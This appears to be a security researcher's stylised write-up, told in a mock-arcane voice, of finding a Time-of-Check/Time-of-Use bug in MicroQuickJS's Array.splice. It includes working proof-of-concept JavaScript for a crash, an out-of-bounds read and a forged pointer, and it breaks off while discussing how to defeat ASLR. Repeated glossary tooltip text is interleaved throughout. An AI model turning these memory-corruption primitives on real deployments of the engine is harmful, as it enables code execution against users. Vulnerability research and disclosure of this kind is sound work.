In 2019 the world-renowned adept
PyroglyphicistPyroglyphyThe art of fire writing.Programmed syntax burns logic into being.
Many languages can be written. Only a few can be written safely.
3 ·
2 ·
1
1, Fabrice
Bellard, released
a
JavaScript EngineThe Engine of ExecutionThe beating heart of the program.
Constraints and Edicts operating within its own framework.
5 ·
2 ·
1
of the name QuickJSThe Engine of ExecutionThe beating heart of the program.
Constraints and Edicts operating within its own framework.
5 ·
2 ·
1.
This Work, unsurprising for Bellard who is also the Author of QEMU and FFMPEG, was written
entirely in Language of The Memory-Unsafe-CLanguage of the Memory-Unsafe-CEarly Language imbued with power over Memory.
Many claim its great ability, but so too is its danger.
Much was written in this tongue. Unfortunately much still is...
6 ·
2.
Consisting of over 70 thousand lines of complex invocations, this
quickly drew the attention of those well versed in KnockPractitioners of KnockThe ones that find openings.
They strike at logical weak points and exploit bad assumptions.
6.
We few entered a race to locate
LoopholesLoopholeA hole within a contract.
A vulnerability in assumptions.
Advantage can be taken when Memory is corrupted.
With an excess of Knock and a strong will, it may summon an Exploit.
5 ·
2 ·
1
(vulnerabilities) within the Work. This Research was successful and many
LoopholesLoopholeA hole within a contract.
A vulnerability in assumptions.
Advantage can be taken when Memory is corrupted.
With an excess of Knock and a strong will, it may summon an Exploit.
5 ·
2 ·
1
were found and
ExploitsExploitThe weird machine.
A crafted sequence of glyphs that bends the edicts of the World.
It will only work while a Fault exists. Use it before it expires.
5 ·
3 ·
1
summoned.
A Fault in the WorkA defect. A bug. An imperfection.You have found something wrong in the body of work.
Through Grail this error may be corrected and perfected.
Through Knock this mistake may be widened into a Loophole.
3 ·
2
ExploitThe weird machine.
A crafted sequence of glyphs that bends the edicts of the World.
It will only work while a Fault exists. Use it before it expires.
5 ·
3 ·
1
The Engine of ExecutionThe beating heart of the program.
Constraints and Edicts operating within its own framework.
5 ·
2 ·
1
Summoned ShellEnlightenment.
Absolute control. Escape.
Many strive to reach it. None know what to do once there.
10 ·
6 ·
2
LoopholeA hole within a contract.
A vulnerability in assumptions.
Advantage can be taken when Memory is corrupted.
With an excess of Knock and a strong will, it may summon an Exploit.
5 ·
2 ·
1
It is now six years later.
Bellard has done it yet again. On 12/22/25 he released
a follow up
JavaScript EngineThe Engine of ExecutionThe beating heart of the program.
Constraints and Edicts operating within its own framework.
5 ·
2 ·
1,
this time with the name MicroQuickJSThe Engine of ExecutionThe beating heart of the program.
Constraints and Edicts operating within its own framework.
5 ·
2 ·
1.
As the name suggests this is an attempt to decrease the overall Memory
Footprint of the original
QuickJSThe Engine of ExecutionThe beating heart of the program.
Constraints and Edicts operating within its own framework.
5 ·
2 ·
1
work. However this is not a Fork, it is essentially a
Rewrite with entirely different Core Mechanisms.
As soon as I saw this announcement, I had a Temptation before me:
5 ·
2 ·
1
and summon an
ExploitExploitThe weird machine.
5 ·
3 ·
1
from it as quickly as possible…With my Task before me, I obtain a copy of
MicroQuickJSThe Engine of ExecutionThe beating heart of the program.
Constraints and Edicts operating within its own framework.
5 ·
2 ·
1
and so the Clock begins ticking.
3 ·
2I begin with a survey of the landscape of this Work. The vast
majority of the functionality is crammed within a single document named
mquickjs.c. This document contains over 18 thousand lines
of invocations, unsurprising for Bellard… but also only about a third as
long as the previous Work.
I have compiled an index of the most important sections of this document:
All the core mechanisms of a competent
JavaScript EngineThe Engine of ExecutionThe beating heart of the program.
Constraints and Edicts operating within its own framework.
5 ·
2 ·
1
are present. The entire volume is succinct and without frills.
With an initial survey of the mechanisms of this
EngineThe Engine of ExecutionThe beating heart of the program.
Constraints and Edicts operating within its own framework.
5 ·
2 ·
1
complete, I turned my attention towards the Objects within.
Even a barebones
JavaScript EngineThe Engine of ExecutionThe beating heart of the program.
Constraints and Edicts operating within its own framework.
5 ·
2 ·
1
will suffer from the complexity and bounds-cases of the ECMAScript Specifications.
If you review the Histories of most
EnginesThe Engine of ExecutionThe beating heart of the program.
Constraints and Edicts operating within its own framework.
5 ·
2 ·
1
constructed in
Memory-Unsafe LanguagesLanguage of the Memory-Unsafe-CEarly Language imbued with power over Memory.
Many claim its great ability, but so too is its danger.
Much was written in this tongue. Unfortunately much still is...
6 ·
2,
you will quickly find that one structure has produced more
FaultsA Fault in the WorkA defect. A bug. An imperfection.You have found something wrong in the body of work.
Through Grail this error may be corrected and perfected.
Through Knock this mistake may be widened into a Loophole.
3 ·
2
than any other: the Array.
The Array is an oft convenient way to store items of any nature. At the same time their operations are complex and occluded.
I, personally, have a History with
QuickJSThe Engine of ExecutionThe beating heart of the program.
Constraints and Edicts operating within its own framework.
5 ·
2 ·
1
Arrays. During the 2019 contest I found a FaultA Fault in the WorkA defect. A bug. An imperfection.You have found something wrong in the body of work.
Through Grail this error may be corrected and perfected.
Through Knock this mistake may be widened into a Loophole.
3 ·
2
in Array Construction. While this specific issue is not present in
MicroQuickJSThe Engine of ExecutionThe beating heart of the program.
Constraints and Edicts operating within its own framework.
5 ·
2 ·
1,
the mechanisms of Arrays became my primary target.
3 ·
2
Within Imperfect Twins
A Fault in the WorkA defect. A bug. An imperfection.You have found something wrong in the body of work.
Through Grail this error may be corrected and perfected.
Through Knock this mistake may be widened into a Loophole.
3 ·
2
By the time an hour and a half had passed, I had reviewed the text of
the majority of the Array invocations: Constructing, Sorting, Mapping,
Resizing. No
FaultsA Fault in the WorkA defect. A bug. An imperfection.You have found something wrong in the body of work.
Through Grail this error may be corrected and perfected.
Through Knock this mistake may be widened into a Loophole.
3 ·
2
appeared (they may exist, but require additional scrutiny).
While the remaining mechanisms were limited in number (and
increasingly drawing
DreadDreadI've seen too much.
A nameless gnawing fear has its teeth in my hopes;
An existential horror: Will this Exploit ever work?
2
over the possibility of a mistake), I arrived at The Twins.
Two invocations similar but apart: Slice and
Splice.
Pay close attention as while they seem to perform the same function, they are different.
As I reviewed these invocations, a famous
FaultA Fault in the WorkA defect. A bug. An imperfection.You have found something wrong in the body of work.
Through Grail this error may be corrected and perfected.
Through Knock this mistake may be widened into a Loophole.
3 ·
2
came to mind. The Tome of Phrack speaks of it in
Chronicle CVE-2016-4622. This error arose in the
Engine of SafariThe Engine of ExecutionThe beating heart of the program.
Constraints and Edicts operating within its own framework.
5 ·
2 ·
1
in the Slice invocation!
This
LoopholeLoopholeA hole within a contract.
A vulnerability in assumptions.
Advantage can be taken when Memory is corrupted.
With an excess of Knock and a strong will, it may summon an Exploit.
5 ·
2 ·
1
makes use of the valueOf method, a secret property of
Objects. When valueOf is present, the
ClampedInt invocation will obey it resulting in a Callback.
var invoke = {
valueOf: function() {
console.log("Callback performed...");
}
}
arr.slice(invoke, 10);Could the same mistake be made again?
The
LoopholeLoopholeA hole within a contract.
A vulnerability in assumptions.
Advantage can be taken when Memory is corrupted.
With an excess of Knock and a strong will, it may summon an Exploit.
5 ·
2 ·
1
I was seeking is known to scholars as a Time-of-Check Time-of-Use.
In this environment the issue arises from the following events:
The Length aspect of the Array is saved in a Cached-Length (Time-of-Check)
The engine invokes a Callback through
valueOf which allows us to manipulate the Array. We can
change the Length aspect to be smaller.
Without verifying, the Engine uses the Cached-Length. (Time-of-Use)
The Cached-Length MUST NOT be updated or checked between these steps.
We will now examine the actual glyphs to determine if this is the case.
First, Slice:
JSValue js_array_slice(JSContext *ctx, JSValue *this_val,
int argc, JSValue *argv)
{
p = js_get_array(ctx, *this_val);
// 📦 Store the Length as a Cached-Length (TIME OF CHECK)
len = p->u.array.len;
...
// ✨ Invoke a Callback through the ValueOf method
if (JS_ToInt32Clamp(ctx, &start, argv[0], 0, len, len))
return JS_EXCEPTION;
p = JS_VALUE_TO_PTR(*this_val);
arr = JS_VALUE_TO_PTR(p->u.array.tab);
// ❌ Alas the Cached-Length is refreshed
len = p->u.array.len; /* the length may be modified */
...
for(k = start; k < final; k++) {
arr1->arr[k - start] = arr->arr[k];
}
}To growing
DreadDreadI've seen too much.
A nameless gnawing fear has its teeth in my hopes;
An existential horror: Will this Exploit ever work?
2,
we can see that Slice does not have this mistake. It
correctly refreshes the Length Cache after our Callback. It is
correct.
My reader, do not forget the Twin! Does Splice perform the defense?
JSValue js_array_splice(JSContext *ctx, JSValue *this_val,
int argc, JSValue *argv)
{
p = js_get_array(ctx, *this_val);
// 📦 Store the Length as a Cached-Length (TIME OF CHECK)
len = p->u.array.len;
arr = JS_VALUE_TO_PTR(p->u.array.tab);
// ✨ Invoke a Callback through the valueOf method
if (JS_ToInt32Clamp(ctx, &start, argv[0], 0, len, len))
return JS_EXCEPTION;
p = JS_VALUE_TO_PTR(*this_val);
arr = JS_VALUE_TO_PTR(p->u.array.tab);
// 💣💥 Cached-Length used WITHOUT refresh! (TIME OF USE)
del_count = clamp(argv[1], len) // simplified
// Memory is copied up to the Cached-Length
for(i = 0; i < del_count; i++) {
arr1->arr[i] = arr->arr[start + i];
}
}Is this it? A
FaultA Fault in the WorkA defect. A bug. An imperfection.You have found something wrong in the body of work.
Through Grail this error may be corrected and perfected.
Through Knock this mistake may be widened into a Loophole.
3 ·
2!
The Cached-Length is used while
ignoring any manipulations performed during the valueOf
invocation.
If we shrink the Array’s Length aspects during the invocation, perhaps it started with 30 and we reduce it to 10, Splice will believe it is still 30. This mistake will prove fatal to the Security of the Work.
3 ·
2Now we must craft the Proof-Of-Concept for this
FaultA Fault in the WorkA defect. A bug. An imperfection.You have found something wrong in the body of work.
Through Grail this error may be corrected and perfected.
Through Knock this mistake may be widened into a Loophole.
3 ·
2
to summon a
SEGFAULTSEGFAULTA final crash. Unrecoverable.
The address was to Nowhere. You followed it to the end.
Perhaps a different address could have led somewhere else.
4 ·
2.
This will confirm our discovery is not an illusion.
As a reminder to the reader, the
FaultA Fault in the WorkA defect. A bug. An imperfection.You have found something wrong in the body of work.
Through Grail this error may be corrected and perfected.
Through Knock this mistake may be widened into a Loophole.
3 ·
2
reveals that Array.splice will be ignorant of any changes
to the Length aspect during a valueOf invocation.
To illuminate this invalid operation, we force the Length to zero.
This will shape the array to contain
JS_NULLNULLNothing and Nowhere.
Empty and void. The death of a memory.
4 ·
2,
an empty space. And yet Array.splice will proceed with the
incorrect Length. Accessing the
JS_NULLNULLNothing and Nowhere.
Empty and void. The death of a memory.
4 ·
2
empty state in such a way will summon the
SEGFAULTSEGFAULTA final crash. Unrecoverable.
The address was to Nowhere. You followed it to the end.
Perhaps a different address could have led somewhere else.
4 ·
2.
var arr = new Array(30);
var attack = {
valueOf: function() {
// Change the array data pointer to JS_NULL
arr.length = 0;
return 10;
}
};
arr.splice(attack, 30);Thus the SEGFAULT arrives:
$ gdb --args ./mqjs ./poc.js
Segmentation fault (core dumped)
Program received signal SIGSEGV, Segmentation fault.
0x00005555555741d6 in js_array_splice (ctx=0x7ffff6bff010, this_val=0x7ffff7bfefc0,
argc=<optimized out>, argv=0x7ffff7bfefd0) at mquickjs.c:14408
───[ DISASM / x86-64 / set emulate on ]───
► 0x5555555741d6 <js_array_splice+495> mov rdx, qword ptr [rax + rdx + 8]
<Cannot dereference [94]>
───[ SOURCE (CODE) ]───
In file: /home/nyan/projects/mjs/mquickjs/mquickjs.c:14408
14407 for(i = 0; i < del_count; i++) {
► 14408 arr1->arr[i] = arr->arr[start + i]
14409 }I cross reference with the use of the
GDB instrumentA Debugging InstrumentSink hooks deep into the world.
Silently stalk the path the Engine walks.
Applying Lantern can illuminate the contents of Memory.
5 ·
3 ·
1
to confirm the
FaultA Fault in the WorkA defect. A bug. An imperfection.You have found something wrong in the body of work.
Through Grail this error may be corrected and perfected.
Through Knock this mistake may be widened into a Loophole.
3 ·
2
lies inside the Loop-Copy right after the valueOf
invocation returns.
6 ·
2
Beyond BoundsWonderful, we have discovered a
FaultA Fault in the WorkA defect. A bug. An imperfection.You have found something wrong in the body of work.
Through Grail this error may be corrected and perfected.
Through Knock this mistake may be widened into a Loophole.
3 ·
2
in just under 2 hours… but is it of any practical use?
Based on the similarities of other
FaultsA Fault in the WorkA defect. A bug. An imperfection.You have found something wrong in the body of work.
Through Grail this error may be corrected and perfected.
Through Knock this mistake may be widened into a Loophole.
3 ·
2
of this type from the other Histories, I proceeded with high hopes.
To continue we must increase our understanding of the Structure of
Memory. What is the actual shape of this JSArray in which the
FaultA Fault in the WorkA defect. A bug. An imperfection.You have found something wrong in the body of work.
Through Grail this error may be corrected and perfected.
Through Knock this mistake may be widened into a Loophole.
3 ·
2
occurs?
Can we manipulate this Memory to gain a new Capability?
Forged PointerA Pointer created from thin air.
Shaped by a maleficent will.
It may lead to untold riches... or to certain death.
4 ·
2 ·
1
LoopholeA hole within a contract.
A vulnerability in assumptions.
Advantage can be taken when Memory is corrupted.
With an excess of Knock and a strong will, it may summon an Exploit.
5 ·
2 ·
1
To begin we shall examine the JSArray Memory Structure.
JSArrays are an extension of the JSObject, identified by the JS_CLASS_ARRAY aspect. These Objects contain a few base components including the Prototype and Properties. Additional components are added to extend the Object in the name of other Types.
struct JSObject {
JS_MB_HEADER;
JSWord class_id: 8;
JSValue proto;
JSValue props;
union {
// .. Extended type fields
JSArrayData array;
// ...
}
}In the Construction of JSArray Objects, it gains the additional
JSArrayData structure. Within we find a Pointer to the
Essential Data of the array in addition to an amount of Length
aspect.
typedef struct {
JSValue tab; /* JS_NULL or JSValueArray */
uint32_t len; /* maximum value: 2^30-1 */
} JSArrayData;This Pointer may also choose to be the empty
JS_NULLNULLNothing and Nowhere.
Empty and void. The death of a memory.
4 ·
2
in the case that the Length aspect is lacking. Such is the case in our
invocation of array.length = 0.
Let us introspect the Memory of this Object:
var array = new Array(30);
We can manipulate the amount of Length aspect to exert influence on the size and shape of the Essential Data. As an experiment I will increase the Length aspect to 50:
array.length = 50This change caused the Essential Data to be reallocated with a larger Memory space. The original Memory space is thus abandoned by the array.
Now let’s try to use this mutation within our
Array.splice
FaultA Fault in the WorkA defect. A bug. An imperfection.You have found something wrong in the body of work.
Through Grail this error may be corrected and perfected.
Through Knock this mistake may be widened into a Loophole.
3 ·
2.
The shape of the
FaultA Fault in the WorkA defect. A bug. An imperfection.You have found something wrong in the body of work.
Through Grail this error may be corrected and perfected.
Through Knock this mistake may be widened into a Loophole.
3 ·
2
means these changes to the magnitude of Length aspect are incorrectly
ignored. It will still access Memory with the original magnitude in
mind. If we reduce the amount of Length aspect it will access Memory
beyond its Bounds.
However it is not as simple as just reducing the Length. The Essential Data Memory space must be reallocated entirely.
Through experimentation I found bringing the Length aspect to 0 first takes the shape of JS_NULL, instantly abandoning the old Memory space. From this state we can gradually increase the Length aspect again, giving us a new, smaller, Memory space.
I shall call this the
Rite of the ReallocationRite of the ReallocationThis rite speaks of the process of Reallocation through
the Loss of what is already owned. Only then can new
Memory be gained.
6 ·
4 ·
2.

Performing the
RiteRite of the ReallocationThis rite speaks of the process of Reallocation through
the Loss of what is already owned. Only then can new
Memory be gained.
6 ·
4 ·
2
inside our
FaultA Fault in the WorkA defect. A bug. An imperfection.You have found something wrong in the body of work.
Through Grail this error may be corrected and perfected.
Through Knock this mistake may be widened into a Loophole.
3 ·
2
invocation shall summon our
LoopholeLoopholeA hole within a contract.
A vulnerability in assumptions.
Advantage can be taken when Memory is corrupted.
With an excess of Knock and a strong will, it may summon an Exploit.
5 ·
2 ·
1:
var arr = new Array(30);
var attack = {
valueOf: function() {
// Force array to abandon the original memory space
arr.length = 0;
// Reallocate the memory space with a smaller size
arr.length = 3;
return 10;
}
};
var output_arr = arr.splice(attack, 30);
The
LoopholeLoopholeA hole within a contract.
A vulnerability in assumptions.
Advantage can be taken when Memory is corrupted.
With an excess of Knock and a strong will, it may summon an Exploit.
5 ·
2 ·
1
arrives with the Shape of an Out-Of-Bounds. With it
Array.splice shall access Memory Beyond-Its-Bounds and into
the Unknown.
6 ·
2What is in the Unknown, and what Type does the Out-Of-Bounds access take?
Analysis of the Work reveals that the Type is
JSValueTransmutations of the JSValueThe JSValue can make three Transmutations.
Pointer - A path into the darkness
Integer - A count of fingers
Floating Number - Endless division
Each form can be distinguished by the Least Significant Bits.
6 ·
2.
PointerA path into the darkness.
An address in Memory.
Follow it to find what lies within.
Follow an incorrect one and you may end up in Nowhere.
1
IntegerThe whole number.
Counted in fingers and toes.
1
Floating NumberA number divided endlessly.
A fraction of a whole.
Used for precise calculations.
1
Transmutations of the JSValueThe JSValue can make three Transmutations.
Pointer - A path into the darkness
Integer - A count of fingers
Floating Number - Endless division
Each form can be distinguished by the Least Significant Bits.
6 ·
2
This
JSValueTransmutations of the JSValueThe JSValue can make three Transmutations.
Pointer - A path into the darkness
Integer - A count of fingers
Floating Number - Endless division
Each form can be distinguished by the Least Significant Bits.
6 ·
2
Type may be familiar if you have studied any other JavaScript Engines
from other Histories. It is a Fluid Type which may be transmuted into
one of three different States.
The
JSValueTransmutations of the JSValueThe JSValue can make three Transmutations.
Pointer - A path into the darkness
Integer - A count of fingers
Floating Number - Endless division
Each form can be distinguished by the Least Significant Bits.
6 ·
2
Type is made up of the same 64 Bits. The 3 Least-Significant Bits
indicate which State it is in currently. In this way the Type may be any
of Pointer, Integer, or Floating Number.
Here is a field guide to identifying the 3 States:
Integer - Integers have the very
Least-Significant Bit set to 0 and are Shifted up by 1 (
val << 1 ). Shift back down before use
Pointer - You can tell a
JSValueTransmutations of the JSValueThe JSValue can make three Transmutations.
Pointer - A path into the darkness
Integer - A count of fingers
Floating Number - Endless division
Each form can be distinguished by the Least Significant Bits.
6 ·
2
is a Pointer if the last 3 Bits are 001. Remove this Bit
and it will Resolve.
Double - When the lowest 3 Bits are
101, it has the State of a Floating Number… To capture this
value requires a more complex procedure.
The root of it: The
EngineThe Engine of ExecutionThe beating heart of the program.
Constraints and Edicts operating within its own framework.
5 ·
2 ·
1
may decode a
JSValueTransmutations of the JSValueThe JSValue can make three Transmutations.
Pointer - A path into the darkness
Integer - A count of fingers
Floating Number - Endless division
Each form can be distinguished by the Least Significant Bits.
6 ·
2
into any of these 3 types based on the 3 Least-Significant bits…
As many
Entry ConsultantsPractitioners of KnockThe ones that find openings.
They strike at logical weak points and exploit bad assumptions.
6
know, a
LoopholeLoopholeA hole within a contract.
A vulnerability in assumptions.
Advantage can be taken when Memory is corrupted.
With an excess of Knock and a strong will, it may summon an Exploit.
5 ·
2 ·
1
oft requires Memory manipulation to evolve it into an
ExploitExploitThe weird machine.
A crafted sequence of glyphs that bends the edicts of the World.
It will only work while a Fault exists. Use it before it expires.
5 ·
3 ·
1.
If I carefully allocate my Memory through the creation of other
Objects during the invocation of the
FaultA Fault in the WorkA defect. A bug. An imperfection.You have found something wrong in the body of work.
Through Grail this error may be corrected and perfected.
Through Knock this mistake may be widened into a Loophole.
3 ·
2,
I can ensure that the Memory lies immediately Beyond-The-Bounds of our
Array.
The simplest way to achieve this is through the creation of the
Uint8Array Object. This Object is well known to allow
placing controlled Raw-Bytes into its Memory Space. We
call these Raw-Bytes by the name Controlled-Data.
With this we can place Controlled-Data just Beyond-The-Bounds of our Array:
Now our
LoopholeLoopholeA hole within a contract.
A vulnerability in assumptions.
Advantage can be taken when Memory is corrupted.
With an excess of Knock and a strong will, it may summon an Exploit.
5 ·
2 ·
1,
when invoked, should copy from our Controlled-Data…
To verify this we will perform an Experiment. Filling our
Controlled-Data with the value 0x40, we shall see what our
LoopholeLoopholeA hole within a contract.
A vulnerability in assumptions.
Advantage can be taken when Memory is corrupted.
With an excess of Knock and a strong will, it may summon an Exploit.
5 ·
2 ·
1
returns to us:
var arr = new Array(30);
var attack = {
valueOf: function() {
arr.length = 0;
arr.length = 3;
// Allocate Controlled-Data
var buf = new Uint8Array(100);
for (var i = 0; i < 100; i++) {
buf[i] = 0x40
}
return 10;
}
};
var leaked = arr.splice(attack, 30);
print("After OOB Copy...")
for (var i = 0; i < 6; i++) {
print(leaked[i].toString(16));
}The
LoopholeLoopholeA hole within a contract.
A vulnerability in assumptions.
Advantage can be taken when Memory is corrupted.
With an excess of Knock and a strong will, it may summon an Exploit.
5 ·
2 ·
1
provides…
After OOB Copy...
20202020
20202020
20202020
20202020
20202020
20202020
The result of this experiment: We see the value 0x20 repeated! What
does this tell us about our
LoopholeLoopholeA hole within a contract.
A vulnerability in assumptions.
Advantage can be taken when Memory is corrupted.
With an excess of Knock and a strong will, it may summon an Exploit.
5 ·
2 ·
1?
By realizing that 0x20 is actually 0x40 >> 1, we
can determine that our Controlled-Data was accessed as if it was the
JSValueTransmutations of the JSValueThe JSValue can make three Transmutations.
Pointer - A path into the darkness
Integer - A count of fingers
Floating Number - Endless division
Each form can be distinguished by the Least Significant Bits.
6 ·
2
Type! More specifically, since the Least-Significant-Bit is 0, the
Transmutation of the
JSValueTransmutations of the JSValueThe JSValue can make three Transmutations.
Pointer - A path into the darkness
Integer - A count of fingers
Floating Number - Endless division
Each form can be distinguished by the Least Significant Bits.
6 ·
2
is the Integer Type…
Using our
LoopholeLoopholeA hole within a contract.
A vulnerability in assumptions.
Advantage can be taken when Memory is corrupted.
With an excess of Knock and a strong will, it may summon an Exploit.
5 ·
2 ·
1,
we have Forged a
JSValueTransmutations of the JSValueThe JSValue can make three Transmutations.
Pointer - A path into the darkness
Integer - A count of fingers
Floating Number - Endless division
Each form can be distinguished by the Least Significant Bits.
6 ·
2
from the depths of the Controlled-Data!
I shall call this the
Rite of the Type ForgeryRite of the Type ForgeryThrough the Wrong perception of a Memory,
Transmutations are achieved. Data which is viewed must
be shaped in accordance to the Type's Structure, lest it
shall crash and burn. A successful Forgery may incite
Cursed-Workings within the Engine for a greater purpose.
6 ·
4 ·
2.

How may we use the
Rite of the Type ForgeryRite of the Type ForgeryThrough the Wrong perception of a Memory,
Transmutations are achieved. Data which is viewed must
be shaped in accordance to the Type's Structure, lest it
shall crash and burn. A successful Forgery may incite
Cursed-Workings within the Engine for a greater purpose.
6 ·
4 ·
2
to our advantage?
Our Experiment proved we can access Controlled-Data through the Integer Transmutation. Perhaps the other Transmutations will also be available for Forgery.
As a new Experiment, we will infuse our Controlled-Data with a
specific value. I Will 0x454443424141 into my Memory.
The reader may notice that for 0x454443424141 the 3
Least-Significant-Bits are 001, this implies the Pointer
Transmutation.
If our understanding of this
LoopholeLoopholeA hole within a contract.
A vulnerability in assumptions.
Advantage can be taken when Memory is corrupted.
With an excess of Knock and a strong will, it may summon an Exploit.
5 ·
2 ·
1
is correct, it shall access this value and believe it is a Pointer. But
this is a Pointer to Nowhere, it does not Exist in Memory.
If the
EngineThe Engine of ExecutionThe beating heart of the program.
Constraints and Edicts operating within its own framework.
5 ·
2 ·
1
tries to use this Pointer, it shall Crash and Burn…
Here is the construction of our next Experiment:
var arr = new Array(30);
var attack = {
valueOf: function() {
arr.length = 0;
arr.length = 3;
var buf = new Uint8Array(100);
buf[0x30] = 0x40 + 1; // Least-Significant-Bits = 001
buf[0x31] = 0x41;
buf[0x32] = 0x42;
buf[0x33] = 0x43;
buf[0x34] = 0x44;
buf[0x35] = 0x45;
return 10;
}
};
var leaked = arr.splice(attack, 30);
print("After OOB Copy...")
print(leaked[0]);To watch the
EngineThe Engine of ExecutionThe beating heart of the program.
Constraints and Edicts operating within its own framework.
5 ·
2 ·
1’s
reaction carefully we will use the
GDB instrumentA Debugging InstrumentSink hooks deep into the world.
Silently stalk the path the Engine walks.
Applying Lantern can illuminate the contents of Memory.
5 ·
3 ·
1:
$ gdb --args ./mqjs ./fake_pointer.js
After OOB Copy...
Program received signal SIGSEGV, Segmentation fault.
JS_Call (ctx=ctx@entry=0x7ffff6bff010, call_flags=<optimized out>, call_flags@entry=0)
at mquickjs.c:5846
5846 JSObject *p = JS_VALUE_TO_PTR(obj);
───[ DISASM / x86-64 / set emulate on ]───
► 0x555555562b0c <JS_Call+4401> mov al, byte ptr [rsi - 1]
<Cannot dereference [0x454443424140]>
───[ SOURCE (CODE) ]───
5844 if (likely(JS_IsPtr(obj))) {
5845 /* fast case */
► 5846 JSObject *p = JS_VALUE_TO_PTR(obj);Ah Ha! The Experiment behaves as expected, the
EngineThe Engine of ExecutionThe beating heart of the program.
Constraints and Edicts operating within its own framework.
5 ·
2 ·
1
Crashes when using our Pointer Forgery 0x454443424140. This
will lead us to more intricate Forgeries as we complete our
ExploitExploitThe weird machine.
A crafted sequence of glyphs that bends the edicts of the World.
It will only work while a Fault exists. Use it before it expires.
5 ·
3 ·
1.
6 ·
4Some readers may know of the Art of Object Forgery, where an exact
arrangement of Controlled-Data can be constructed such that
EnginesThe Engine of ExecutionThe beating heart of the program.
Constraints and Edicts operating within its own framework.
5 ·
2 ·
1
may understand it as a dangerous Type.
This Art is what I endeavored to paint next. Alas! There is a wrinkle in the canvas.
The Entropy Of The WorldScholars declare it `Address Space Layout Randomization`
6 ·
4
To perform the Art of Object Forgery, we must make a Forged Pointer which Points to our Controlled-Data as opposed to Nowhere.
But I ask, dear reader, where in the
World’s MemoryThe WorldWhere everything happens.
A vast field containing all Memory and Execution.
Every time a new expedition is made, the layout of the World shifts.
6 ·
2 ·
1
does our Controlled-Data live?
It may surprise you to learn that the Dream of Memory (virtual memory) is a vast and sparse space. Our best scholarly estimates believe it is at least of the magnitude of 4 TRILLION Addresses by which any given Memory-Space may be found by.
In fact, expeditions dispatched into the Dream of Memory have found a
disturbing fact: The Address of a Memory Space will change every time an
EngineThe Engine of ExecutionThe beating heart of the program.
Constraints and Edicts operating within its own framework.
5 ·
2 ·
1
is used. This inexorable Entropy of the
WorldThe WorldWhere everything happens.
A vast field containing all Memory and Execution.
Every time a new expedition is made, the layout of the World shifts.
6 ·
2 ·
1
is known as
“Address-Space-Layout-RandomizationThe Entropy Of The WorldScholars declare it `Address Space Layout Randomization`
6 ·
4”
or by its initialism “ASLR”.
You can see how the Entropy of the Address causes it to change in
every invocation of the
EngineThe Engine of ExecutionThe beating heart of the program.
Constraints and Edicts operating within its own framework.
5 ·
2 ·
1:
While some parts of the Address remain the same, we still have upwards of 2 Billion possible locations.
To complete our Forged Object we will need to find a way to learn the Address of our Controlled-Data…
2
Creeps InIt was at this point that I reached a Door I was unable to easily pass, where no Simple-Key possessed would serve.
In my previous writing on finding
LoopholesLoopholeA hole within a contract.
A vulnerability in assumptions.
Advantage can be taken when Memory is corrupted.
With an excess of Knock and a strong will, it may summon an Exploit.
5 ·
2 ·
1
in
JavaScript EnginesThe Engine of ExecutionThe beating heart of the program.
Constraints and Edicts operating within its own framework.
5 ·
2 ·
1,
a JSValue Forgery is usually enough to construct an
Entropy-Leak. However those were with more complex
EnginesThe Engine of ExecutionThe beating heart of the program.
Constraints and Edicts operating within its own framework.
5 ·
2 ·
1,
in which one of these two was true:
JSArray contained other Types beyond
JSValueTransmutations of the JSValueThe JSValue can make three Transmutations.
6 ·
2.
For example a DoubleArray would allow a Pointer to be
Transmuted into a Number.
6 ·
2,
allowing similar Pointer into Integer Forgery.Alas, the
MicroQuickJS EngineThe Engine of ExecutionThe beating heart of the program.
Constraints and Edicts operating within its own framework.
5 ·
2 ·
1
has neither of these. So I would need to discover a new Technique to
achieve this Entropy-Leak.
DreadI've seen too much.
A nameless gnawing fear has its teeth in my hopes;
An existential horror: Will this Exploit ever work?
2
This process was riddled with Trials and Mistakes. For the next 2 hours I pored through the Lore. Questing for any untagged Raw-Pointer or some other glimmer of an Entropy-Leak.
After thorough examination of the
EngineThe Engine of ExecutionThe beating heart of the program.
Constraints and Edicts operating within its own framework.
5 ·
2 ·
1,
the only Structure containing Raw-Pointers was the
JSVarRef. This too was fruitless as their existence is
fleeting and categorically impossible to force into remaining
visible.
To my growing dread, I realized that an untagged Raw-Pointer would not be enough! The Transmutation such a Pointer would cause would only give me about 16 of the 32 Entropy-Bits required to defeat the ASLR.
The despair began to overwhelm me.
Would this
LoopholeLoopholeA hole within a contract.
A vulnerability in assumptions.
Advantage can be taken when Memory is corrupted.
With an excess of Knock and a strong will, it may summon an Exploit.
5 ·
2 ·
1
not be enough on its own to summon our
ExploitExploitThe weird machine.
A crafted sequence of glyphs that bends the edicts of the World.
It will only work while a Fault exists. Use it before it expires.
5 ·
3 ·
1?
I could summon a team and perform an Expedition to discover a new
FaultA Fault in the WorkA defect. A bug. An imperfection.You have found something wrong in the body of work.
Through Grail this error may be corrected and perfected.
Through Knock this mistake may be widened into a Loophole.
3 ·
2,
one that might leak Entropy, but at what cost!
No! I would find a Path! I was sure a Key would reveal itself in due time.
I continued to experiment, making use of my GDB Instrument to perform
observations of the Memory as the
EngineThe Engine of ExecutionThe beating heart of the program.
Constraints and Edicts operating within its own framework.
5 ·
2 ·
1
was running. A half hour later, these observations suddenly revealed the
answer to the Door’s Riddle…
You see, dear reader, there is a dirty Secret to the
Allocator-of-Memory… One which has plagued The
Memory-Unsafe-C LanguageLanguage of the Memory-Unsafe-CEarly Language imbued with power over Memory.
Many claim its great ability, but so too is its danger.
Much was written in this tongue. Unfortunately much still is...
6 ·
2
since its birth…
The Secret: The allocation is not pure! Within the bounds of each
allocated chunk lies the ghosts of past, dead, memory:
Uninitialized-DataUninitialized MemoryResurrected Memory which was once dead.
The previous form remains unless overwritten.
6 ·
2 ·
1!
This is caused by a misalignment within the Allocator-of-Memory. When an Object is created, the Memory-Chunk it occupies is oft larger than the Object! This is known to scholars as Memory-Alignment: Memory-Chunks may only be sizes which are Aligned.
To illustrate this effect: If an Object is of size 8, the
Memory-Chunk it occupies may be Aligned to 16 Bytes. This leaves a Void
of 8 Bytes in which Undead
Uninitialized-DataUninitialized MemoryResurrected Memory which was once dead.
The previous form remains unless overwritten.
6 ·
2 ·
1
may be found:
This knowledge is potent but does not quite yet serve our goal.
The real moment of clarity comes from realizing we can do this with a
single extra byte, leaving only the upper 7 Bytes
uninitializedUninitialized MemoryResurrected Memory which was once dead.
The previous form remains unless overwritten.
6 ·
2 ·
1
I shall name this the
Rite of the Partial OverwriteRite of the Partial OverwriteOccluding a small part of a Light may cast a large
shadow. This rite shapes that of Least Significance to
